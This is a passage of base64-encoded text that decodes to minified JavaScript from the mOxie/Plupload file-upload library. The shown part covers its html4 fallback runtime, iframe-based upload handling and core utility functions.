scy5tZXRhJiZzLm1ldGEudGh1bWImJnMubWV0YS50aHVtYi5kYXRhJiYhKGUubWV0YS50aHVtYi5kYXRhIGluc3RhbmNlb2YgaSkmJihzLm1ldGEudGh1bWIuZGF0YT1uZXcgaShlLnVpZCxzLm1ldGEudGh1bWIuZGF0YSkpKSxzLndpZHRoPXBhcnNlSW50KGEud2lkdGgsMTApLHMuaGVpZ2h0PXBhcnNlSW50KGEuaGVpZ2h0LDEwKSxzLnNpemU9cGFyc2VJbnQoYS5zaXplLDEwKSxzLnR5cGU9YS50eXBlLHMubmFtZT1hLm5hbWUsc30scmVzaXplOmZ1bmN0aW9uKGUsdCxpKXt0aGlzLmdldFJ1bnRpbWUoKS5zaGltRXhlYy5jYWxsKHRoaXMsIkltYWdlIiwicmVzaXplIixlLngsZS55LGUud2lkdGgsZS5oZWlnaHQsdCxpLnByZXNlcnZlSGVhZGVycyxpLnJlc2FtcGxlKX19KX0pLGUoIm1veGllL3J1bnRpbWUvaHRtbDQvUnVudGltZSIsWyJtb3hpZS9jb3JlL3V0aWxzL0Jhc2ljIiwibW94aWUvY29yZS9FeGNlcHRpb25zIiwibW94aWUvcnVudGltZS9SdW50aW1lIiwibW94aWUvY29yZS91dGlscy9FbnYiXSxmdW5jdGlvbihvLGUscyxhKXt2YXIgdT17fTtyZXR1cm4gcy5hZGRDb25zdHJ1Y3RvcigiaHRtbDQiLGZ1bmN0aW9uKGUpe3ZhciB0LGk9dGhpcyxuPXMuY2FwVGVzdCxyPXMuY2FwVHJ1ZTtzLmNhbGwodGhpcyxlLCJodG1sNCIse2FjY2Vzc19iaW5hcnk6bih3aW5kb3cuRmlsZVJlYWRlcnx8d2luZG93LkZpbGUmJkZpbGUuZ2V0QXNEYXRhVVJMKSxhY2Nlc3NfaW1hZ2VfYmluYXJ5OiExLGRpc3BsYXlfbWVkaWE6bigoYS5jYW4oImNyZWF0ZV9jYW52YXMiKXx8YS5jYW4oInVzZV9kYXRhX3VyaV9vdmVyMzJrYiIpKSYmZCgibW94aWUvaW1hZ2UvSW1hZ2UiKSksZG9fY29yczohMSxkcmFnX2FuZF9kcm9wOiExLGZpbHRlcl9ieV9leHRlbnNpb246bighKCJDaHJvbWUiPT09YS5icm93c2VyJiZhLnZlckNvbXAoYS52ZXJzaW9uLDI4LCI8Iil8fCJJRSI9PT1hLmJyb3dzZXImJmEudmVyQ29tcChhLnZlcnNpb24sMTAsIjwiKXx8IlNhZmFyaSI9PT1hLmJyb3dzZXImJmEudmVyQ29tcChhLnZlcnNpb24sNywiPCIpfHwiRmlyZWZveCI9PT1hLmJyb3dzZXImJmEudmVyQ29tcChhLnZlcnNpb24sMzcsIjwiKSkpLHJlc2l6ZV9pbWFnZTpmdW5jdGlvbigpe3JldHVybiB1LkltYWdlJiZpLmNhbigiYWNjZXNzX2JpbmFyeSIpJiZhLmNhbigiY3JlYXRlX2NhbnZhcyIpfSxyZXBvcnRfdXBsb2FkX3Byb2dyZXNzOiExLHJldHVybl9yZXNwb25zZV9oZWFkZXJzOiExLHJldHVybl9yZXNwb25zZV90eXBlOmZ1bmN0aW9uKGUpe3JldHVybiEoImpzb24iIT09ZXx8IXdpbmRvdy5KU09OKXx8ISF+by5pbkFycmF5KGUsWyJ0ZXh0IiwiZG9jdW1lbnQiLCIiXSl9LHJldHVybl9zdGF0dXNfY29kZTpmdW5jdGlvbihlKXtyZXR1cm4hby5hcnJheURpZmYoZSxbMjAwLDQwNF0pfSxzZWxlY3RfZmlsZTpmdW5jdGlvbigpe3JldHVybiBhLmNhbigidXNlX2ZpbGVpbnB1dCIpfSxzZWxlY3RfbXVsdGlwbGU6ITEsc2VuZF9iaW5hcnlfc3RyaW5nOiExLHNlbmRfY3VzdG9tX2hlYWRlcnM6ITEsc2VuZF9tdWx0aXBhcnQ6ITAsc2xpY2VfYmxvYjohMSxzdHJlYW1fdXBsb2FkOmZ1bmN0aW9uKCl7cmV0dXJuIGkuY2FuKCJzZWxlY3RfZmlsZSIpfSxzdW1tb25fZmlsZV9kaWFsb2c6ZnVuY3Rpb24oKXtyZXR1cm4gaS5jYW4oInNlbGVjdF9maWxlIikmJiEoIkZpcmVmb3giPT09YS5icm93c2VyJiZhLnZlckNvbXAoYS52ZXJzaW9uLDQsIjwiKXx8Ik9wZXJhIj09PWEuYnJvd3NlciYmYS52ZXJDb21wKGEudmVyc2lvbiwxMiwiPCIpfHwiSUUiPT09YS5icm93c2VyJiZhLnZlckNvbXAoYS52ZXJzaW9uLDEwLCI8IikpfSx1cGxvYWRfZmlsZXNpemU6cix1c2VfaHR0cF9tZXRob2Q6ZnVuY3Rpb24oZSl7cmV0dXJuIW8uYXJyYXlEaWZmKGUsWyJHRVQiLCJQT1NUIl0pfX0pLG8uZXh0ZW5kKHRoaXMse2luaXQ6ZnVuY3Rpb24oKXt0aGlzLnRyaWdnZXIoIkluaXQiKX0sZGVzdHJveToodD10aGlzLmRlc3Ryb3ksZnVuY3Rpb24oKXt0LmNhbGwoaSksdD1pPW51bGx9KX0pLG8uZXh0ZW5kKHRoaXMuZ2V0U2hpbSgpLHUpfSksdX0pLGUoIm1veGllL3J1bnRpbWUvaHRtbDQvZmlsZS9GaWxlSW5wdXQiLFsibW94aWUvcnVudGltZS9odG1sNC9SdW50aW1lIiwibW94aWUvZmlsZS9GaWxlIiwibW94aWUvY29yZS91dGlscy9CYXNpYyIsIm1veGllL2NvcmUvdXRpbHMvRG9tIiwibW94aWUvY29yZS91dGlscy9FdmVudHMiLCJtb3hpZS9jb3JlL3V0aWxzL01pbWUiLCJtb3hpZS9jb3JlL3V0aWxzL0VudiJdLGZ1bmN0aW9uKGUsaCxwLG0sZix1LGcpe3JldHVybiBlLkZpbGVJbnB1dD1mdW5jdGlvbigpe3ZhciBjLGwsYSxkPVtdO3AuZXh0ZW5kKHRoaXMse2luaXQ6ZnVuY3Rpb24oZSl7dmFyIHQsaSxuLHIsbz10aGlzLHM9by5nZXRSdW50aW1lKCk7bD1lLGQ9dS5leHRMaXN0Mm1pbWVzKGUuYWNjZXB0LHMuY2FuKCJmaWx0ZXJfYnlfZXh0ZW5zaW9uIikpLHQ9cy5nZXRTaGltQ29udGFpbmVyKCksaT1tLmdldChlLmJyb3dzZV9idXR0b24pLGE9bS5nZXRTdHlsZShpLCJ6LWluZGV4Iil8fCJhdXRvIixzLmNhbigic3VtbW9uX2ZpbGVfZGlhbG9nIik/KCJzdGF0aWMiPT09bS5nZXRTdHlsZShpLCJwb3NpdGlvbiIpJiYoaS5zdHlsZS5wb3NpdGlvbj0icmVsYXRpdmUiKSxvLmJpbmQoIlJlZnJlc2giLGZ1bmN0aW9uKCl7bj1wYXJzZUludChhLDEwKXx8MSxtLmdldChsLmJyb3dzZV9idXR0b24pLnN0eWxlLnpJbmRleD1uLHRoaXMuZ2V0UnVudGltZSgpLmdldFNoaW1Db250YWluZXIoKS5zdHlsZS56SW5kZXg9bi0xfSkpOmkuc2V0QXR0cmlidXRlKCJ0YWJpbmRleCIsLTEpLHI9cy5jYW4oInN1bW1vbl9maWxlX2RpYWxvZyIpP2k6dCxmLmFkZEV2ZW50KHIsIm1vdXNlb3ZlciIsZnVuY3Rpb24oKXtvLnRyaWdnZXIoIm1vdXNlZW50ZXIiKX0sby51aWQpLGYuYWRkRXZlbnQociwibW91c2VvdXQiLGZ1bmN0aW9uKCl7by50cmlnZ2VyKCJtb3VzZWxlYXZlIil9LG8udWlkKSxmLmFkZEV2ZW50KHIsIm1vdXNlZG93biIsZnVuY3Rpb24oKXtvLnRyaWdnZXIoIm1vdXNlZG93biIpfSxvLnVpZCksZi5hZGRFdmVudChtLmdldChlLmNvbnRhaW5lciksIm1vdXNldXAiLGZ1bmN0aW9uKCl7by50cmlnZ2VyKCJtb3VzZXVwIil9LG8udWlkKSxpPW51bGwsZnVuY3Rpb24gdCgpe3ZhciBlLGksbixyLG8scyxhPXRoaXMsdT1hLmdldFJ1bnRpbWUoKTtzPXAuZ3VpZCgidWlkXyIpLGU9dS5nZXRTaGltQ29udGFpbmVyKCksYyYmKG49bS5nZXQoYysiX2Zvcm0iKSkmJihwLmV4dGVuZChuLnN0eWxlLHt0b3A6IjEwMCUifSksbi5maXJzdENoaWxkLnNldEF0dHJpYnV0ZSgidGFiaW5kZXgiLC0xKSksKHI9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZm9ybSIpKS5zZXRBdHRyaWJ1dGUoImlkIixzKyJfZm9ybSIpLHIuc2V0QXR0cmlidXRlKCJtZXRob2QiLCJwb3N0Iiksci5zZXRBdHRyaWJ1dGUoImVuY3R5cGUiLCJtdWx0aXBhcnQvZm9ybS1kYXRhIiksci5zZXRBdHRyaWJ1dGUoImVuY29kaW5nIiwibXVsdGlwYXJ0L2Zvcm0tZGF0YSIpLHAuZXh0ZW5kKHIuc3R5bGUse292ZXJmbG93OiJoaWRkZW4iLHBvc2l0aW9uOiJhYnNvbHV0ZSIsdG9wOjAsbGVmdDowLHdpZHRoOiIxMDAlIixoZWlnaHQ6IjEwMCUifSksKG89ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaW5wdXQiKSkuc2V0QXR0cmlidXRlKCJpZCIscyksby5zZXRBdHRyaWJ1dGUoInR5cGUiLCJmaWxlIiksby5zZXRBdHRyaWJ1dGUoImFjY2VwdCIsZC5qb2luKCIsIikpLHUuY2FuKCJzdW1tb25fZmlsZV9kaWFsb2ciKSYmby5zZXRBdHRyaWJ1dGUoInRhYmluZGV4IiwtMSkscC5leHRlbmQoby5zdHlsZSx7Zm9udFNpemU6Ijk5OXB4IixvcGFjaXR5OjB9KSxyLmFwcGVuZENoaWxkKG8pLGUuYXBwZW5kQ2hpbGQocikscC5leHRlbmQoby5zdHlsZSx7cG9zaXRpb246ImFic29sdXRlIix0b3A6MCxsZWZ0OjAsd2lkdGg6IjEwMCUiLGhlaWdodDoiMTAwJSJ9KSwiSUUiPT09Zy5icm93c2VyJiZnLnZlckNvbXAoZy52ZXJzaW9uLDEwLCI8IikmJnAuZXh0ZW5kKG8uc3R5bGUse2ZpbHRlcjoicHJvZ2lkOkRYSW1hZ2VUcmFuc2Zvcm0uTWljcm9zb2Z0LkFscGhhKG9wYWNpdHk9MCkifSksby5vbmNoYW5nZT1mdW5jdGlvbigpe3ZhciBlO3RoaXMudmFsdWUmJihlPXRoaXMuZmlsZXM/dGhpcy5maWxlc1swXTp7bmFtZTp0aGlzLnZhbHVlfSxlPW5ldyBoKHUudWlkLGUpLHRoaXMub25jaGFuZ2U9ZnVuY3Rpb24oKXt9LHQuY2FsbChhKSxhLmZpbGVzPVtlXSxvLnNldEF0dHJpYnV0ZSgiaWQiLGUudWlkKSxyLnNldEF0dHJpYnV0ZSgiaWQiLGUudWlkKyJfZm9ybSIpLGEudHJpZ2dlcigiY2hhbmdlIiksbz1yPW51bGwpfSx1LmNhbigic3VtbW9uX2ZpbGVfZGlhbG9nIikmJihpPW0uZ2V0KGwuYnJvd3NlX2J1dHRvbiksZi5yZW1vdmVFdmVudChpLCJjbGljayIsYS51aWQpLGYuYWRkRXZlbnQoaSwiY2xpY2siLGZ1bmN0aW9uKGUpe28mJiFvLmRpc2FibGVkJiZvLmNsaWNrKCksZS5wcmV2ZW50RGVmYXVsdCgpfSxhLnVpZCkpLGM9cyxlPW49aT1udWxsfS5jYWxsKHRoaXMpLHQ9bnVsbCxvLnRyaWdnZXIoe3R5cGU6InJlYWR5Iixhc3luYzohMH0pfSxzZXRPcHRpb246ZnVuY3Rpb24oZSx0KXt2YXIgaSxuPXRoaXMuZ2V0UnVudGltZSgpOyJhY2NlcHQiPT1lJiYoZD10Lm1pbWVzfHx1LmV4dExpc3QybWltZXModCxuLmNhbigiZmlsdGVyX2J5X2V4dGVuc2lvbiIpKSksKGk9bS5nZXQoYykpJiZpLnNldEF0dHJpYnV0ZSgiYWNjZXB0IixkLmpvaW4oIiwiKSl9LGRpc2FibGU6ZnVuY3Rpb24oZSl7dmFyIHQ7KHQ9bS5nZXQoYykpJiYodC5kaXNhYmxlZD0hIWUpfSxkZXN0cm95OmZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5nZXRSdW50aW1lKCksdD1lLmdldFNoaW0oKSxpPWUuZ2V0U2hpbUNvbnRhaW5lcigpLG49bCYmbS5nZXQobC5jb250YWluZXIpLHI9bCYmbS5nZXQobC5icm93c2VfYnV0dG9uKTtuJiZmLnJlbW92ZUFsbEV2ZW50cyhuLHRoaXMudWlkKSxyJiYoZi5yZW1vdmVBbGxFdmVudHMocix0aGlzLnVpZCksci5zdHlsZS56SW5kZXg9YSksaSYmKGYucmVtb3ZlQWxsRXZlbnRzKGksdGhpcy51aWQpLGkuaW5uZXJIVE1MPSIiKSx0LnJlbW92ZUluc3RhbmNlKHRoaXMudWlkKSxjPWQ9bD1pPW49cj10PW51bGx9fSl9fSksZSgibW94aWUvcnVudGltZS9odG1sNC9maWxlL0ZpbGVSZWFkZXIiLFsibW94aWUvcnVudGltZS9odG1sNC9SdW50aW1lIiwibW94aWUvcnVudGltZS9odG1sNS9maWxlL0ZpbGVSZWFkZXIiXSxmdW5jdGlvbihlLHQpe3JldHVybiBlLkZpbGVSZWFkZXI9dH0pLGUoIm1veGllL3J1bnRpbWUvaHRtbDQveGhyL1hNTEh0dHBSZXF1ZXN0IixbIm1veGllL3J1bnRpbWUvaHRtbDQvUnVudGltZSIsIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiLCJtb3hpZS9jb3JlL3V0aWxzL0RvbSIsIm1veGllL2NvcmUvdXRpbHMvVXJsIiwibW94aWUvY29yZS9FeGNlcHRpb25zIiwibW94aWUvY29yZS91dGlscy9FdmVudHMiLCJtb3hpZS9maWxlL0Jsb2IiLCJtb3hpZS94aHIvRm9ybURhdGEiXSxmdW5jdGlvbihlLG0sZixnLHgsdix5LF8pe3JldHVybiBlLlhNTEh0dHBSZXF1ZXN0PWZ1bmN0aW9uKCl7ZnVuY3Rpb24gbCh0KXt2YXIgZSxpLG4scixvPXRoaXMscz0hMTtpZihwKXtpZihlPXAuaWQucmVwbGFjZSgvX2lmcmFtZSQvLCIiKSxpPWYuZ2V0KGUrIl9mb3JtIikpe2ZvcihyPShuPWkuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImlucHV0IikpLmxlbmd0aDtyLS07KXN3aXRjaChuW3JdLmdldEF0dHJpYnV0ZSgidHlwZSIpKXtjYXNlImhpZGRlbiI6bltyXS5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKG5bcl0pO2JyZWFrO2Nhc2UiZmlsZSI6cz0hMH1uPVtdLHN8fGkucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChpKSxpPW51bGx9c2V0VGltZW91dChmdW5jdGlvbigpe3YucmVtb3ZlRXZlbnQocCwibG9hZCIsby51aWQpLHAucGFyZW50Tm9kZSYmcC5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKHApO3ZhciBlPW8uZ2V0UnVudGltZSgpLmdldFNoaW1Db250YWluZXIoKTtlLmNoaWxkcmVuLmxlbmd0aHx8ZS5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKGUpLGU9cD1udWxsLHQoKX0sMSl9fXZhciBkLGgscDttLmV4dGVuZCh0aGlzLHtzZW5kOmZ1bmN0aW9uKHQsZSl7dmFyIGksbixyLG8scyxhLHU9dGhpcyxjPXUuZ2V0UnVudGltZSgpO2lmKGQ9aD1udWxsLGUgaW5zdGFuY2VvZiBfJiZlLmhhc0Jsb2IoKSl7aWYoaT0obz1lLmdldEJsb2IoKSkudWlkLHI9Zi5nZXQoaSksIShuPWYuZ2V0KGkrIl9mb3JtIikpKXRocm93IG5ldyB4LkRPTUV4Y2VwdGlvbih4LkRPTUV4Y2VwdGlvbi5OT1RfRk9VTkRfRVJSKX1lbHNlIGk9bS5ndWlkKCJ1aWRfIiksKG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZm9ybSIpKS5zZXRBdHRyaWJ1dGUoImlkIixpKyJfZm9ybSIpLG4uc2V0QXR0cmlidXRlKCJtZXRob2QiLHQubWV0aG9kKSxuLnNldEF0dHJpYnV0ZSgiZW5jdHlwZSIsIm11bHRpcGFydC9mb3JtLWRhdGEiKSxuLnNldEF0dHJpYnV0ZSgiZW5jb2RpbmciLCJtdWx0aXBhcnQvZm9ybS1kYXRhIiksYy5nZXRTaGltQ29udGFpbmVyKCkuYXBwZW5kQ2hpbGQobik7bi5zZXRBdHRyaWJ1dGUoInRhcmdldCIsaSsiX2lmcmFtZSIpLGUgaW5zdGFuY2VvZiBfJiZlLmVhY2goZnVuY3Rpb24oZSx0KXtpZihlIGluc3RhbmNlb2YgeSlyJiZyLnNldEF0dHJpYnV0ZSgibmFtZSIsdCk7ZWxzZXt2YXIgaT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJpbnB1dCIpO20uZXh0ZW5kKGkse3R5cGU6ImhpZGRlbiIsbmFtZTp0LHZhbHVlOmV9KSxyP24uaW5zZXJ0QmVmb3JlKGkscik6bi5hcHBlbmRDaGlsZChpKX19KSxuLnNldEF0dHJpYnV0ZSgiYWN0aW9uIix0LnVybCkscz1jLmdldFNoaW1Db250YWluZXIoKXx8ZG9jdW1lbnQuYm9keSwoYT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKSkuaW5uZXJIVE1MPSc8aWZyYW1lIGlkPSInK2krJ19pZnJhbWUiIG5hbWU9IicraSsnX2lmcmFtZSIgc3JjPSJqYXZhc2NyaXB0OiZxdW90OyZxdW90OyIgc3R5bGU9ImRpc3BsYXk6bm9uZSI+PC9pZnJhbWU+JyxwPWEuZmlyc3RDaGlsZCxzLmFwcGVuZENoaWxkKHApLHYuYWRkRXZlbnQocCwibG9hZCIsZnVuY3Rpb24oKXt2YXIgZTt0cnl7ZT1wLmNvbnRlbnRXaW5kb3cuZG9jdW1lbnR8fHAuY29udGVudERvY3VtZW50fHx3aW5kb3cuZnJhbWVzW3AuaWRdLmRvY3VtZW50LC9eNCgwWzAtOV18MVswLTddfDJbMjM0Nl0pXHMvLnRlc3QoZS50aXRsZSk/ZD1lLnRpdGxlLnJlcGxhY2UoL14oXGQrKS4qJC8sIiQxIik6KGQ9MjAwLGg9bS50cmltKGUuYm9keS5pbm5lckhUTUwpLHUudHJpZ2dlcih7dHlwZToicHJvZ3Jlc3MiLGxvYWRlZDpoLmxlbmd0aCx0b3RhbDpoLmxlbmd0aH0pLG8mJnUudHJpZ2dlcih7dHlwZToidXBsb2FkcHJvZ3Jlc3MiLGxvYWRlZDpvLnNpemV8fDEwMjUsdG90YWw6by5zaXplfHwxMDI1fSkpfWNhdGNoKGUpe2lmKCFnLmhhc1NhbWVPcmlnaW4odC51cmwpKXJldHVybiB2b2lkIGwuY2FsbCh1LGZ1bmN0aW9uKCl7dS50cmlnZ2VyKCJlcnJvciIpfSk7ZD00MDR9bC5jYWxsKHUsZnVuY3Rpb24oKXt1LnRyaWdnZXIoImxvYWQiKX0pfSx1LnVpZCksbi5zdWJtaXQoKSx1LnRyaWdnZXIoImxvYWRzdGFydCIpfSxnZXRTdGF0dXM6ZnVuY3Rpb24oKXtyZXR1cm4gZH0sZ2V0UmVzcG9uc2U6ZnVuY3Rpb24oZSl7aWYoImpzb24iPT09ZSYmInN0cmluZyI9PT1tLnR5cGVPZihoKSYmd2luZG93LkpTT04pdHJ5e3JldHVybiBKU09OLnBhcnNlKGgucmVwbGFjZSgvXlxzKjxwcmVbXj5dKj4vLCIiKS5yZXBsYWNlKC88XC9wcmU+XHMqJC8sIiIpKX1jYXRjaChlKXtyZXR1cm4gbnVsbH1yZXR1cm4gaH0sYWJvcnQ6ZnVuY3Rpb24oKXt2YXIgZT10aGlzO3AmJnAuY29udGVudFdpbmRvdyYmKHAuY29udGVudFdpbmRvdy5zdG9wP3AuY29udGVudFdpbmRvdy5zdG9wKCk6cC5jb250ZW50V2luZG93LmRvY3VtZW50LmV4ZWNDb21tYW5kP3AuY29udGVudFdpbmRvdy5kb2N1bWVudC5leGVjQ29tbWFuZCgiU3RvcCIpOnAuc3JjPSJhYm91dDpibGFuayIpLGwuY2FsbCh0aGlzLGZ1bmN0aW9uKCl7ZS5kaXNwYXRjaEV2ZW50KCJhYm9ydCIpfSl9LGRlc3Ryb3k6ZnVuY3Rpb24oKXt0aGlzLmdldFJ1bnRpbWUoKS5nZXRTaGltKCkucmVtb3ZlSW5zdGFuY2UodGhpcy51aWQpfX0pfX0pLGUoIm1veGllL3J1bnRpbWUvaHRtbDQvaW1hZ2UvSW1hZ2UiLFsibW94aWUvcnVudGltZS9odG1sNC9SdW50aW1lIiwibW94aWUvcnVudGltZS9odG1sNS9pbWFnZS9JbWFnZSJdLGZ1bmN0aW9uKGUsdCl7cmV0dXJuIGUuSW1hZ2U9dH0pLGZ1bmN0aW9uKGUpe2Zvcih2YXIgdD0wO3Q8ZS5sZW5ndGg7dCsrKXtmb3IodmFyIGk9cyxuPWVbdF0scj1uLnNwbGl0KC9bLlwvXS8pLG89MDtvPHIubGVuZ3RoLTE7KytvKWlbcltvXV09PT15JiYoaVtyW29dXT17fSksaT1pW3Jbb11dO2lbcltyLmxlbmd0aC0xXV09dVtuXX19KFsibW94aWUvY29yZS91dGlscy9CYXNpYyIsIm1veGllL2NvcmUvdXRpbHMvRW5jb2RlIiwibW94aWUvY29yZS91dGlscy9FbnYiLCJtb3hpZS9jb3JlL0V4Y2VwdGlvbnMiLCJtb3hpZS9jb3JlL3V0aWxzL0RvbSIsIm1veGllL2NvcmUvRXZlbnRUYXJnZXQiLCJtb3hpZS9ydW50aW1lL1J1bnRpbWUiLCJtb3hpZS9ydW50aW1lL1J1bnRpbWVDbGllbnQiLCJtb3hpZS9maWxlL0Jsb2IiLCJtb3hpZS9jb3JlL0kxOG4iLCJtb3hpZS9jb3JlL3V0aWxzL01pbWUiLCJtb3hpZS9maWxlL0ZpbGVJbnB1dCIsIm1veGllL2ZpbGUvRmlsZSIsIm1veGllL2ZpbGUvRmlsZURyb3AiLCJtb3hpZS9maWxlL0ZpbGVSZWFkZXIiLCJtb3hpZS9jb3JlL3V0aWxzL1VybCIsIm1veGllL3J1bnRpbWUvUnVudGltZVRhcmdldCIsIm1veGllL3hoci9Gb3JtRGF0YSIsIm1veGllL3hoci9YTUxIdHRwUmVxdWVzdCIsIm1veGllL2ltYWdlL0ltYWdlIiwibW94aWUvY29yZS91dGlscy9FdmVudHMiLCJtb3hpZS9ydW50aW1lL2h0bWw1L2ltYWdlL1Jlc2l6ZXJDYW52YXMiXSl9KHRoaXMpfS5hcHBseShlLGFyZ3VtZW50cyksZS5tb3hpZX07ImZ1bmN0aW9uIj09dHlwZW9mIGRlZmluZSYmZGVmaW5lLmFtZD9kZWZpbmUoIm1veGllIixbXSxpKToib2JqZWN0Ij09dHlwZW9mIG1vZHVsZSYmbW9kdWxlLmV4cG9ydHM/bW9kdWxlLmV4cG9ydHM9aSgpOmUubW94aWU9aSgpfSh0aGlzfHx3aW5kb3cpLGZ1bmN0aW9uKGUsdCl7dmFyIGk9ZnVuY3Rpb24oKXt2YXIgZT17fTtyZXR1cm4gZnVuY3Rpb24oZSl7IWZ1bmN0aW9uKGUsSSxPKXtmdW5jdGlvbiBBKGUpe2Z1bmN0aW9uIGkoZSx0LGkpe3ZhciBuPXtjaHVua3M6InNsaWNlX2Jsb2IiLGpwZ3Jlc2l6ZToic2VuZF9iaW5hcnlfc3RyaW5nIixwbmdyZXNpemU6InNlbmRfYmluYXJ5X3N0cmluZyIscHJvZ3Jlc3M6InJlcG9ydF91cGxvYWRfcHJvZ3Jlc3MiLG11bHRpX3NlbGVjdGlvbjoic2VsZWN0X211bHRpcGxlIixkcmFnZHJvcDoiZHJhZ19hbmRfZHJvcCIsZHJvcF9lbGVtZW50OiJkcmFnX2FuZF9kcm9wIixoZWFkZXJzOiJzZW5kX2N1c3RvbV9oZWFkZXJzIix1cmxzdHJlYW1fdXBsb2FkOiJzZW5kX2JpbmFyeV9zdHJpbmciLGNhblNlbmRCaW5hcnk6InNlbmRfYmluYXJ5Iix0cmlnZ2VyRGlhbG9nOiJzdW1tb25fZmlsZV9kaWFsb2cifTtuW2VdP3JbbltlXV09dDppfHwocltlXT10KX12YXIgdD1lLnJlcXVpcmVkX2ZlYXR1cmVzLHI9e307cmV0dXJuInN0cmluZyI9PXR5cGVvZiB0P0MuZWFjaCh0LnNwbGl0KC9ccyosXHMqLyksZnVuY3Rpb24oZSl7aShlLCEwKX0pOiJvYmplY3QiPT10eXBlb2YgdD9DLmVhY2godCxmdW5jdGlvbihlLHQpe2kodCxlKX0pOiEwPT09dCYmKGUuY2h1bmtfc2l6ZSYmMDxlLmNodW5rX3NpemUmJihyLnNsaWNlX2Jsb2I9ITApLEMuaXNFbXB0eU9iaihlLnJlc2l6ZSkmJiExIT09ZS5tdWx0aXBhcnR8fChyLnNlbmRfYmluYXJ5X3N0cmluZz0hMCksZS5odHRwX21ldGhvZCYmKHIudXNlX2h0dHBfbWV0aG9kPWUuaHR0cF9tZXRob2QpLEMuZWFjaChlLGZ1bmN0aW9uKGUsdCl7aSh0LCEhZSwhMCl9KSkscn12YXIgdCxTPXdpbmRvdy5zZXRUaW1lb3V0LFQ9e30saT1JLmNvcmUudXRpbHMsRD1JLnJ1bnRpbWUuUnVudGltZSxDPXtWRVJTSU9OOiIyLjMuNiIsU1RPUFBFRDoxLFNUQVJURUQ6MixRVUVVRUQ6MSxVUExPQURJTkc6MixGQUlMRUQ6NCxET05FOjUsR0VORVJJQ19FUlJPUjotMTAwLEhUVFBfRVJST1I6LTIwMCxJT19FUlJPUjotMzAwLFNFQ1VSSVRZX0VSUk9SOi00MDAsSU5JVF9FUlJPUjotNTAwLEZJTEVfU0laRV9FUlJPUjotNjAwLEZJTEVfRVhURU5TSU9OX0VSUk9SOi02MDEsRklMRV9EVVBMSUNBVEVfRVJST1I6LTYwMixJTUFHRV9GT1JNQVRfRVJST1I6LTcwMCxNRU1PUllfRVJST1I6LTcwMSxJTUFHRV9ESU1FTlNJT05TX0VSUk9SOi03MDIsbW94aWU6SSxtaW1lVHlwZXM6aS5NaW1lLm1pbWVzLHVhOmkuRW52LHR5cGVPZjppLkJhc2ljLnR5cGVPZixleHRlbmQ6aS5CYXNpYy5leHRlbmQsZ3VpZDppLkJhc2ljLmd1aWQsZ2V0QWxsOmZ1bmN0aW9uKGUpe3ZhciB0LGk9W107ImFycmF5IiE9PUMudHlwZU9mKGUpJiYoZT1bZV0pO2Zvcih2YXIgbj1lLmxlbmd0aDtuLS07KSh0PUMuZ2V0KGVbbl0pKSYmaS5wdXNoKHQpO3JldHVybiBpLmxlbmd0aD9pOm51bGx9LGdldDppLkRvbS5nZXQsZWFjaDppLkJhc2ljLmVhY2gsZ2V0UG9zOmkuRG9tLmdldFBvcyxnZXRTaXplOmkuRG9tLmdldFNpemUseG1sRW5jb2RlOmZ1bmN0aW9uKGUpe3ZhciB0PXsiPCI6Imx0IiwiPiI6Imd0IiwiJiI6ImFtcCIsJyInOiJxdW90IiwiJyI6IiMzOSJ9O3JldHVybiBlPygiIitlKS5yZXBsYWNlKC9bPD4mXCJcJ10vZyxmdW5jdGlvbihlKXtyZXR1cm4gdFtlXT8iJiIrdFtlXSsiOyI6ZX0pOmV9LHRvQXJyYXk6aS5CYXNpYy50b0FycmF5LGluQXJyYXk6aS5CYXNpYy5pbkFycmF5LGluU2VyaWVzOmkuQmFzaWMuaW5TZXJpZXMsYWRkSTE4bjpJLmNvcmUuSTE4bi5hZGRJMThuLHRyYW5zbGF0ZTpJLmNvcmUuSTE4bi50cmFuc2xhdGUsc3ByaW50ZjppLkJhc2ljLnNwcmludGYsaXNFbXB0eU9iajppLkJhc2ljLmlzRW1wdHlPYmosaGFzQ2xhc3M6aS5Eb20uaGFzQ2xhc3MsYWRkQ2xhc3M6aS5Eb20uYWRkQ2xhc3MscmVtb3ZlQ2xhc3M6aS5Eb20ucmVtb3ZlQ2xhc3MsZ2V0U3R5bGU6aS5Eb20uZ2V0U3R5bGUsYWRkRXZlbnQ6aS5FdmVudHMuYWRkRXZlbnQscmVtb3ZlRXZlbnQ6aS5FdmVudHMucmVtb3ZlRXZlbnQscmVtb3ZlQWxsRXZlbnRzOmkuRXZlbnRzLnJlbW92ZUFsbEV2ZW50cyxjbGVhbk5hbWU6ZnVuY3Rpb24oZSl7dmFyIHQsaTtmb3IoaT1bL1tcMzAwLVwzMDZdL2csIkEiLC9bXDM0MC1cMzQ2XS9nLCJhIiwvXDMwNy9nLCJDIiwvXDM0Ny9nLCJjIiwvW1wzMTAtXDMxM10vZywiRSIsL1tcMzUwLVwzNTNdL2csImUiLC9bXDMxNC1cMzE3XS9nLCJJIiwvW1wzNTQtXDM1N10vZywiaSIsL1wzMjEvZywiTiIsL1wzNjEvZywibiIsL1tcMzIyLVwzMzBdL2csIk8iLC9bXDM2Mi1cMzcwXS9nLCJvIiwvW1wzMzEtXDMzNF0vZywiVSIsL1tcMzcxLVwzNzRdL2csInUiXSx0PTA7dDxpLmxlbmd0aDt0Kz0yKWU9ZS5yZXBsYWNlKGlbdF0saVt0KzFdKTtyZXR1cm4oZT1lLnJlcGxhY2UoL1xzKy9nLCJfIikpLnJlcGxhY2UoL1teYS16MC05X1wtXC5dKy9naSwiIil9LGJ1aWxkVXJsOmZ1bmN0aW9uKGUsdCl7dmFyIGk9IiI7cmV0dXJuIEMuZWFjaCh0LGZ1bmN0aW9uKGUsdCl7aSs9KGk/IiYiOiIiKStlbmNvZGVVUklDb21wb25lbnQodCkrIj0iK2VuY29kZVVSSUNvbXBvbmVudChlKX0pLGkmJihlKz0oMDxlLmluZGV4T2YoIj8iKT8iJiI6I